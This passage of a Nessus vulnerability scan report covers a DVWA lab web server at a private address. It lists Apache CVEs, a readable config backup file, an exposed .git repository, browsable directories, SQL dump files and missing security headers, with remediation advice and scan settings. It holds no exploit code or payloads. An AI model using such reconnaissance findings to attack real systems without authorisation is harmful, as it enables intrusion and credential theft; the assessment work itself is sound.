Plugin Output

tcp/80/www

```
URL           : http://192.168.1.210/  
Installed version : 2.4.46  
Fixed version  : 2.4.47
```

Synopsis

The remote web server is affected by a vulnerability.

Description

The version of Apache httpd installed on the remote host is prior to 2.4.49. It is, therefore, affected by a vulnerability as referenced in the 2.4.49 changelog.

- A crafted request uri-path can cause mod_proxy to forward the request to an origin server chosen by the remote user. (CVE-2021-40438)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://downloads.apache.org/httpd/CHANGES_2.4

https://httpd.apache.org/security/vulnerabilities_24.html

Solution

Upgrade to Apache version 2.4.49 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

9.0 (CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

7.8 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

6.8 (CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.0 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

| | |
|------|---------------------------------|
| CVE | CVE-2021-40438 |
| XREF | IAVA:2021-A-0440 |
| XREF | CISA-KNOWN-EXPLOITED:2022/12/15 |

Plugin Information

Published: 2021/09/23, Modified: 2021/12/03

Plugin Output

tcp/80/www

```
URL           : http://192.168.1.210/  
Installed version : 2.4.46  
Fixed version  : 2.4.49
```

Synopsis

The remote web server is affected by a vulnerability.

Description

The version of Apache httpd installed on the remote host is prior to 2.4.49. It is, therefore, affected by multiple vulnerabilities as referenced in the 2.4.49 changelog.

- `ap_escape_quotes()` may write beyond the end of a buffer when given malicious input. No included modules pass untrusted data to these functions, but third-party / external modules may. (CVE-2021-39275)

- Malformed requests may cause the server to dereference a NULL pointer. (CVE-2021-34798)

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://downloads.apache.org/httpd/CHANGES_2.4

https://httpd.apache.org/security/vulnerabilities_24.html

Solution

Upgrade to Apache version 2.4.49 or later.

Risk Factor

High

CVSS v3.0 Base Score

9.8 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

CVSS v3.0 Temporal Score

8.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

7.5 (CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P)

CVSS v2.0 Temporal Score

5.5 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

| | |
|------|------------------|
| CVE | CVE-2021-34798 |
| CVE | CVE-2021-39275 |
| XREF | IAVA:2021-A-0440 |

Plugin Information

Published: 2021/09/23, Modified: 2021/10/01

Plugin Output

tcp/80/www

```
URL          : http://192.168.1.210/  
Installed version : 2.4.46  
Fixed version  : 2.4.49
```

Synopsis

The remote web server is affected by a vulnerability.

Description

The version of Apache httpd installed on the remote host is greater than 2.4.17 and prior to 2.4.49. It is, therefore, affected by a vulnerability as referenced in the 2.4.49 changelog. A crafted method sent through HTTP/2 will bypass validation and be forwarded by mod_proxy, which can lead to request splitting or cache poisoning.

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://downloads.apache.org/httpd/CHANGES_2.4

https://httpd.apache.org/security/vulnerabilities_24.html

Solution

Upgrade to Apache version 2.4.49 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

| | |
|------|------------------|
| CVE | CVE-2021-33193 |
| XREF | IAVA:2021-A-0440 |

Plugin Information

Published: 2021/09/23, Modified: 2021/09/27

Plugin Output

tcp/80/www

```
URL           : http://192.168.1.210/  
Installed version : 2.4.46  
Fixed version   : 2.4.49
```

Synopsis

The remote web server is affected by a vulnerability.

Description

The version of Apache httpd installed on the remote host greater than 2.4.30 and is prior to 2.4.49. It is, therefore, affected by a vulnerability as referenced in the 2.4.49 changelog. A carefully crafted request uri-path can cause mod_proxy_uwsgi to read above the allocated memory and crash (DoS).

Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.

See Also

https://downloads.apache.org/httpd/CHANGES_2.4

https://httpd.apache.org/security/vulnerabilities_24.html

Solution

Upgrade to Apache version 2.4.49 or later.

Risk Factor

Medium

CVSS v3.0 Base Score

7.5 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

CVSS v3.0 Temporal Score

6.5 (CVSS:3.0/E:U/RL:O/RC:C)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P)

CVSS v2.0 Temporal Score

3.7 (CVSS2#E:U/RL:OF/RC:C)

STIG Severity

I

References

| | |
|------|------------------|
| CVE | CVE-2021-36160 |
| XREF | IAVA:2021-A-0440 |

Plugin Information

Published: 2021/09/23, Modified: 2021/09/29

Plugin Output

tcp/80/www

```
URL           : http://192.168.1.210/  
Installed version : 2.4.46  
Fixed version   : 2.4.49
```

Synopsis

It is possible to retrieve file backups from the remote web server.

Description

By appending various suffixes (ie: .old, .bak, ~, etc...) to the names of various files on the remote host, it seems possible to retrieve their contents, which may result in disclosure of sensitive information.

See Also

<http://projects.webappsec.org/w/page/13246953/Predictable%20Resource%20Location>

Solution

Ensure the files do not contain any sensitive information, such as credentials to connect to a database, and delete or protect those files that should not be accessible.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2003/03/17, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
It is possible to read the following backup file :  
  
- File : /config/config.inc.php.bak  
  URL  : http://192.168.1.210/config/config.inc.php.bak
```

Synopsis

Some directories on the remote web server are browsable.

Description

Multiple Nessus plugins identified directories on the web server that are browsable.

See Also

<http://www.nessus.org/u?0a35179e>

Solution

Make sure that browsable directories do not leak confidential information or give access to sensitive resources. Additionally, use access restrictions or disable directory indexing for any that do.

Risk Factor

Medium

CVSS v3.0 Base Score

5.3 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2009/09/15, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following directories are browsable :

```
http://192.168.1.210/config/
http://192.168.1.210/database/
http://192.168.1.210/docs/
http://192.168.1.210/dvwa/
http://192.168.1.210/dvwa/css/
http://192.168.1.210/dvwa/images/
http://192.168.1.210/dvwa/includes/
http://192.168.1.210/dvwa/includes/DBMS/
http://192.168.1.210/dvwa/js/
http://192.168.1.210/external/
```

```
http://192.168.1.210/external/phpids/  
http://192.168.1.210/external/phpids/0.6/  
http://192.168.1.210/external/phpids/0.6/docs/  
http://192.168.1.210/external/phpids/0.6/docs/examples/  
http://192.168.1.210/external/phpids/0.6/lib/  
http://192.168.1.210/external/phpids/0.6/lib/IDS/  
http://192.168.1.210/external/phpids/0.6/tests/  
http://192.168.1.210/external/phpids/0.6/tests/IDS/  
http://192.168.1.210/external/recaptcha/  
http://192.168.1.210/tests/
```

Synopsis

The remote web server may disclose information due to a configuration weakness.

Description

The web server on the remote host allows read access to a Git repository. This potential flaw can be used to download content from the Web server that might otherwise be private.

See Also

<https://blog.skullsecurity.org/2012/using-git-clone-to-get-pwn3d>

<http://www.nessus.org/u?b573eafc>

Solution

Verify that the listed Git repositories are served intentionally.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2013/03/27, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following repositories were found on the remote web server :
```

```
Repository : http://192.168.1.210/.git
Type       : Non-Bare
Transport  : Not configured for cloning
```

55640 - SQL Dump Files Disclosed via Web Server

Synopsis

The remote web server hosts publicly accessible SQL dump files.

Description

The remote web server hosts publicly available files that contain SQL instructions. These files are most likely database dumps and may contain sensitive information.

Solution

Make sure that such files do not contain any confidential or otherwise sensitive information and that they are only accessible to those with valid credentials.

Risk Factor

Medium

CVSS v2.0 Base Score

5.0 (CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N)

Plugin Information

Published: 2011/07/21, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following SQL files are available on the remote server :
```

- /database/create_mssql_db.sql
- /database/create_oracle_db.sql
- /database/create_sqlite_db.sql

Synopsis

The remote web server may fail to mitigate a class of web application vulnerabilities.

Description

The remote web server does not set an X-Frame-Options response header or a Content-Security-Policy 'frame-ancestors' response header in all content responses. This could potentially expose the site to a clickjacking or UI redress attack, in which an attacker can trick a user into clicking an area of the vulnerable page that is different than what the user perceives the page to be. This can result in a user performing fraudulent or malicious transactions.

X-Frame-Options has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors.

Content-Security-Policy (CSP) has been proposed by the W3C Web Application Security Working Group, with increasing support among all major browser vendors, as a way to mitigate clickjacking and other attacks. The 'frame-ancestors' policy directive restricts which sources can embed the protected resource.

Note that while the X-Frame-Options and Content-Security-Policy response headers are not the only mitigations for clickjacking, they are currently the most reliable methods that can be detected through automation. Therefore, this plugin may produce false positives if other mitigation strategies (e.g., frame-busting JavaScript) are deployed or if the page does not perform any security-sensitive transactions.

See Also

<http://www.nessus.org/u?399b1f56>

https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

<https://en.wikipedia.org/wiki/Clickjacking>

Solution

Return the X-Frame-Options or Content-Security-Policy (with the 'frame-ancestors' directive) HTTP header with the page's response.

This prevents the page's content from being rendered by another site when using the frame or iframe HTML tags.

Risk Factor

Medium

CVSS v2.0 Base Score

4.3 (CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N)

References

XREF CWE:693

Plugin Information

Published: 2015/08/22, Modified: 2017/05/16

Plugin Output

tcp/80/www

The following pages do not use a clickjacking mitigation response header and contain a clickable event :

- <http://192.168.1.210/login.php>

26194 - Web Server Transmits Cleartext Credentials

Synopsis

The remote web server might transmit credentials in cleartext.

Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

Solution

Make sure that every sensitive form transmits content over HTTPS.

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

References

| | |
|------|---------|
| XREF | CWE:522 |
| XREF | CWE:523 |
| XREF | CWE:718 |
| XREF | CWE:724 |
| XREF | CWE:928 |
| XREF | CWE:930 |

Plugin Information

Published: 2007/09/28, Modified: 2016/11/29

Plugin Output

tcp/80/www

```
Page : /login.php
Destination Page: /login.php
```

Synopsis

It is possible to obtain the version number of the remote Apache HTTP server.

Description

The remote host is running the Apache HTTP Server, an open source web server. It was possible to read the version number from the banner.

See Also

<https://httpd.apache.org/>

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0530

Plugin Information

Published: 2010/07/30, Modified: 2020/09/22

Plugin Output

tcp/80/www

```
URL      : http://192.168.1.210/
Version  : 2.4.46
backported : 0
os       : Ubuntu
```

Synopsis

Load estimation for web application tests.

Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests.

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
Here are the estimated number of requests in miscellaneous modes
for one method only (GET or POST) :
[Single / Some Pairs / All Pairs / Some Combinations / All Combinations]

arbitrary command execution (time based) : S=24          SP=60          AP=60          SC=72          AC=72
format string                            : S=8            SP=20          AP=20          SC=24          AC=24
cross-site scripting (comprehensive test): S=68          SP=170         AP=170         SC=204
AC=204
injectable parameter                    : S=8            SP=20          AP=20          SC=24          AC=24
arbitrary command execution              : S=88          SP=220         AP=220         SC=264
AC=264
local file inclusion                    : S=16           SP=40          AP=40          SC=48          AC=48
directory traversal                      : S=116          SP=290         AP=290         SC=348
AC=348
web code injection                      : S=4            SP=10          AP=10          SC=12          AC=12
blind SQL injection (4 requests)         : S=16           SP=40          AP=40          SC=48          AC=48
persistent XSS                          : S=16           SP=40          AP=40          SC=48          AC=48
```

| | | | | | |
|---|---------|--------|--------|--------|-------|
| directory traversal (write access) | : S=8 | SP=20 | AP=20 | SC=24 | AC=24 |
| XML injection | : S=4 | SP=10 | AP=10 | SC=12 | AC=12 |
| blind SQL injection
AC=144 | : S=48 | SP=120 | AP=120 | SC=144 | |
| SQL injection
AC=336 | : S=112 | SP=280 | AP=280 | SC=336 | |
| directory traversal (extended test)
AC=612 | : S=204 | SP=510 | AP=510 | SC=612 | |
| SSI injection | : S=12 | SP=30 | AP=30 | SC=36 | AC=36 |
| unseen parameters
AC=420 | : S=140 | SP=350 | AP=350 | SC=420 | |
| SQL injection (2nd order) | [...] | | | | |

Synopsis

It was possible to enumerate CPE names that matched on the remote system.

Description

By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.

Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.

See Also

<http://cpe.mitre.org/>

<https://nvd.nist.gov/products/cpe>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/04/21, Modified: 2021/11/29

Plugin Output

tcp/0

```
The remote operating system matched the following CPE :
```

```
cpe:/o:linux:linux_kernel:2.6
```

```
Following application CPE's matched on the remote system :
```

```
cpe:/a:apache:http_server:2.4.46
```

```
cpe:/a:openbsd:openssh:8.4
```

Synopsis

Secure Connections, using a deprecated protocol were attempted as part of the scan

Description

This plugin enumerates and reports any SSLv2 connections which were attempted as part of a scan. This protocol has been deemed prohibited since 2011 because of security vulnerabilities and most major ssl libraries such as openssl, nss, mbed and wolfssl do not provide this functionality in their latest versions. This protocol has been deprecated in Nessus 8.9 and later.

Solution

N/A

Risk Factor

None

Plugin Information

Published: 2020/01/06, Modified: 2020/01/06

Plugin Output

tcp/0

```
Nessus attempted the following SSLv2 connection(s) as part of this scan:
```

```
Plugin ID: 42476  
Timestamp: 2021-12-06 20:45:18  
Port: 22
```

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2011/05/23

Plugin Output

tcp/0

```
Remote device type : general-purpose  
Confidence level : 65
```

Synopsis

The manufacturer can be identified from the Ethernet OUI.

Description

Each ethernet MAC address starts with a 24-bit Organizationally Unique Identifier (OUI). These OUIs are registered by IEEE.

See Also

<https://standards.ieee.org/faqs/regauth.html>

<http://www.nessus.org/u?794673b4>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/02/19, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following card manufacturers were identified :
```

```
00:0C:29:A4:4C:49 : VMware, Inc.
```


Synopsis

This plugin gathers MAC addresses from various sources and consolidates them into a list.

Description

This plugin gathers MAC addresses discovered from both remote probing of the host (e.g. SNMP and Netbios) and from running local checks (e.g. ifconfig). It then consolidates the MAC addresses into a single, unique, and uniform list.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2015/10/16, Modified: 2020/05/13

Plugin Output

tcp/0

```
The following is a consolidated list of detected MAC addresses:  
- 00:0C:29:A4:4C:49
```

Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/80/www

```
4 external URLs were gathered on this web server :
URL...                - Seen on...

http://www.phpdoc.org      - /external/phpids/0.6/docs/phpdocumentor/li_PHPIDS.html
http://www.phpunit.de/    - /external/phpids/0.6/tests/coverage/
http://www.xdebug.org/    - /external/phpids/0.6/tests/coverage/
https://github.com/digininja/DVWA/ - /login.php
```

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

<http://www.nessus.org/u?d9c03a9a>

<http://www.nessus.org/u?b019cbdb>

[https://www.owasp.org/index.php/Test_HTTP_Methods_\(OTG-CONFIG-006\)](https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006))

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2019/03/19

Plugin Output

tcp/80/www

Based on the response to an OPTIONS request :

- HTTP methods GET HEAD OPTIONS POST are allowed on :

```
/config
/database
/docs
/dvwa
/dvwa/css
/dvwa/images
/dvwa/includes
/dvwa/includes/DBMS
/dvwa/js
/external
/external/phpids
/external/phpids/0.6
/external/phpids/0.6/docs
/external/phpids/0.6/docs/examples
/external/phpids/0.6/docs/phpdocumentor
/external/phpids/0.6/lib
/icons
/tests
```

Based on tests of each method :

- HTTP methods GET HEAD OPTIONS POST are allowed on :

```
/
/config
/database
/docs
/dvwa
/dvwa/css
/dvwa/images
/dvwa/includes
/dvwa/includes/DBMS
/dvwa/js
/external
/external/phpids
/external/phpids/0.6
/external/phpids/0.6/docs
/external/phpids/0.6/docs/examples
/external/phpids/0.6/docs/phpdocumentor
/external/phpids/0.6/lib
/icons
/tests
```

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :  
Apache/2.4.46 (Ubuntu)
```

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2019/11/22

Plugin Output

tcp/80/www

```
Response Code : HTTP/1.1 302 Found

Protocol version : HTTP/1.1
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

    Date: Mon, 06 Dec 2021 20:45:52 GMT
    Server: Apache/2.4.46 (Ubuntu)
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate
    Pragma: no-cache
    Location: login.php
    Content-Length: 0
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=UTF-8

Response Body :
```

Synopsis

The remote web server redirects requests to the root directory.

Description

The remote web server issues an HTTP redirect when requesting the root directory of the web server.

This plugin is informational only and does not denote a security problem.

Solution

Analyze the redirect(s) to verify that this is valid operation for your web server and/or application.

Risk Factor

None

Plugin Information

Published: 2016/06/16, Modified: 2017/10/12

Plugin Output

tcp/80/www

```
Request      : http://192.168.1.210/
HTTP response : HTTP/1.1 302 Found
Redirect to   : http://192.168.1.210/login.php
Redirect type  : 30x redirect

Final page    : http://192.168.1.210/login.php
HTTP response : HTTP/1.1 200 OK
```

Synopsis

It is possible to determine the exact time set on the remote host.

Description

The remote host answers to an ICMP timestamp request. This allows an attacker to know the date that is set on the targeted machine, which may assist an unauthenticated, remote attacker in defeating time-based authentication protocols.

Timestamps returned from machines running Windows Vista / 7 / 2008 / 2008 R2 are deliberately incorrect, but usually within 1000 seconds of the actual system time.

Solution

Filter out the ICMP timestamp requests (13), and the outgoing ICMP timestamp replies (14).

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:L/AC:L/Au:N/C:N/I:N/A:N)

References

| | |
|------|---------------|
| CVE | CVE-1999-0524 |
| XREF | CWE:200 |

Plugin Information

Published: 1999/08/01, Modified: 2019/10/04

Plugin Output

icmp/0

```
The remote clock is synchronized with the local clock.
```


Synopsis

This plugin detects the protocols understood by the remote IP stack.

Description

This plugin detects the protocols understood by the remote IP stack.

See Also

<http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/09/22, Modified: 2019/03/06

Plugin Output

tcp/0

```
The following IP protocols are accepted on this host:
1ICMP
2IGMP
6TCP
17UDP
103PIM
136UDPLite
```

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

<http://www.nessus.org/u?55aa8f57>

<http://www.nessus.org/u?07cc2a06>

<https://content-security-policy.com/>

<https://www.w3.org/TR/CSP2/>

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a Content-Security-Policy frame-ancestors response header or set a permissive policy:

- <http://192.168.1.210/config/>
- <http://192.168.1.210/config/?C=D%3BO=A>
- <http://192.168.1.210/config/?C=M%3BO=A>
- <http://192.168.1.210/config/?C=N%3BO=D>
- <http://192.168.1.210/config/?C=S%3BO=A>
- <http://192.168.1.210/config/config.inc.php>
- <http://192.168.1.210/database/>
- <http://192.168.1.210/database/?C=D%3BO=A>
- <http://192.168.1.210/database/?C=M%3BO=A>
- <http://192.168.1.210/database/?C=N%3BO=D>
- <http://192.168.1.210/database/?C=S%3BO=A>

```
- http://192.168.1.210/docs/
- http://192.168.1.210/docs/?C=D%3BO=A
- http://192.168.1.210/docs/?C=M%3BO=A
- http://192.168.1.210/docs/?C=N%3BO=D
- http://192.168.1.210/docs/?C=S%3BO=A
- http://192.168.1.210/docs/pdf.html
- http://192.168.1.210/dvwa/
- http://192.168.1.210/dvwa/?C=D%3BO=A
- http://192.168.1.210/dvwa/?C=M%3BO=A
- http://192.168.1.210/dvwa/?C=N%3BO=D
- http://192.168.1.210/dvwa/?C=S%3BO=A
- http://192.168.1.210/dvwa/css/
- http://192.168.1.210/dvwa/css/?C=D%3BO=A
- http://192.168.1.210/dvwa/css/?C=M%3BO=A
- http://192.168.1.210/dvwa/css/?C=N%3BO=D
- http://192.168.1.210/dvwa/css/?C=S%3BO=A
- http://192.168.1.210/dvwa/images/
- http://192.168.1.210/dvwa/images/?C=D%3BO=A
- http://192.168.1.210/dvwa/images/?C=M%3BO=A
- http://192.168.1.210/dvwa/images/?C=N%3BO=D
- http://192.168.1.210/dvwa/images/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/
- http://192.168.1.210/dvwa/includes/?C=D%3BO=A
- http://192.168.1.210/dvwa/includes/?C=M%3BO=A
- http://192.168.1.210/dvwa/includes/?C=N%3BO=D
- http://192.168.1.210/dvwa/includes/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/
- http://192.168.1.210/dvwa/includes/DBMS/?C=D%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/?C=M%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/?C=N%3BO=D
- http://192.168.1.210/dvwa/includes/DBMS/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/Parsedown.php
- http://192.168.1.210/dvwa/i [...]
```

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

<https://en.wikipedia.org/wiki/Clickjacking>

<http://www.nessus.org/u?399b1f56>

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

The following pages do not set a X-Frame-Options response header or set a permissive policy:

- http://192.168.1.210/config/
- http://192.168.1.210/config/?C=D%3BO=A
- http://192.168.1.210/config/?C=M%3BO=A
- http://192.168.1.210/config/?C=N%3BO=D
- http://192.168.1.210/config/?C=S%3BO=A
- http://192.168.1.210/config/config.inc.php
- http://192.168.1.210/database/
- http://192.168.1.210/database/?C=D%3BO=A
- http://192.168.1.210/database/?C=M%3BO=A
- http://192.168.1.210/database/?C=N%3BO=D
- http://192.168.1.210/database/?C=S%3BO=A
- http://192.168.1.210/docs/
- http://192.168.1.210/docs/?C=D%3BO=A
- http://192.168.1.210/docs/?C=M%3BO=A
- http://192.168.1.210/docs/?C=N%3BO=D
- http://192.168.1.210/docs/?C=S%3BO=A

```
- http://192.168.1.210/docs/pdf.html
- http://192.168.1.210/dvwa/
- http://192.168.1.210/dvwa/?C=D%3BO=A
- http://192.168.1.210/dvwa/?C=M%3BO=A
- http://192.168.1.210/dvwa/?C=N%3BO=D
- http://192.168.1.210/dvwa/?C=S%3BO=A
- http://192.168.1.210/dvwa/css/
- http://192.168.1.210/dvwa/css/?C=D%3BO=A
- http://192.168.1.210/dvwa/css/?C=M%3BO=A
- http://192.168.1.210/dvwa/css/?C=N%3BO=D
- http://192.168.1.210/dvwa/css/?C=S%3BO=A
- http://192.168.1.210/dvwa/images/
- http://192.168.1.210/dvwa/images/?C=D%3BO=A
- http://192.168.1.210/dvwa/images/?C=M%3BO=A
- http://192.168.1.210/dvwa/images/?C=N%3BO=D
- http://192.168.1.210/dvwa/images/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/
- http://192.168.1.210/dvwa/includes/?C=D%3BO=A
- http://192.168.1.210/dvwa/includes/?C=M%3BO=A
- http://192.168.1.210/dvwa/includes/?C=N%3BO=D
- http://192.168.1.210/dvwa/includes/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/
- http://192.168.1.210/dvwa/includes/DBMS/?C=D%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/?C=M%3BO=A
- http://192.168.1.210/dvwa/includes/DBMS/?C=N%3BO=D
- http://192.168.1.210/dvwa/includes/DBMS/?C=S%3BO=A
- http://192.168.1.210/dvwa/includes/Parsedown.php
- http://192.168.1.210/dvwa/includes/dvwaPage.inc.php [...]
```

Synopsis

This plugin displays information about the Nessus scan.

Description

This plugin displays, for each tested host, information about the scan itself :

- The version of the plugin set.
- The type of scanner (Nessus or Nessus Home).
- The version of the Nessus Engine.
- The port scanner(s) used.
- The port range scanned.
- The ping round trip time
- Whether credentialed or third-party patch management checks are possible.
- Whether the display of superseded patches is enabled
- The date of the scan.
- The duration of the scan.
- The number of hosts scanned in parallel.
- The number of checks done in parallel.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2005/08/26, Modified: 2021/09/27

Plugin Output

tcp/0

```
Information about this scan :
```

```
Nessus version : 10.0.1
Nessus build : 20287
Plugin feed version : 202112061449
Scanner edition used : Nessus Home
Scanner OS : LINUX
Scanner distribution : es7-x86-64
Scan type : Normal
Scan name : Full Scan
```

```
Scan policy used : Advanced Scan
Scanner IP : 192.168.1.188
Port scanner(s) : nessus_tcp_scanner
Port range : default
Ping RTT : 23.320 ms
Thorough tests : yes
Experimental tests : no
Paranoia level : 1
Report verbosity : 1
Safe checks : yes
Optimize the test : yes
Credentialled checks : no
Patch management checks : None
Display superseded patches : yes (supersedence plugin launched)
CGI scanning : enabled
Web application tests : enabled
Web app tests - Test mode : some_pairs
Web app tests - Try all HTTP methods : yes
Web app tests - Maximum run time : 5 minutes.
Web app tests - Stop at first flaw : port
Max hosts : 100
Max checks : 5
Recv timeout : 5
Backports : None
Allow post-scan editing: Yes
Scan Start Date : 2021/12/6 15:43 EST
Scan duration : 374 sec
```

Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/22/ssh

```
Port 22/tcp was found to be open
```


Synopsis

It is possible to determine which TCP ports are open.

Description

This plugin is a classical TCP port scanner. It shall be reasonably quick even against a firewalled target.

Once a TCP connection is open, it grabs any available banner for the service identification plugins.

Note that TCP scanners are more intrusive than SYN (half open) scanners.

Solution

Protect your target with an IP filter.

Risk Factor

None

Plugin Information

Published: 2009/02/04, Modified: 2021/09/16

Plugin Output

tcp/80/www

```
Port 80/tcp was found to be open
```

Synopsis

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2021/09/27

Plugin Output

tcp/0

```
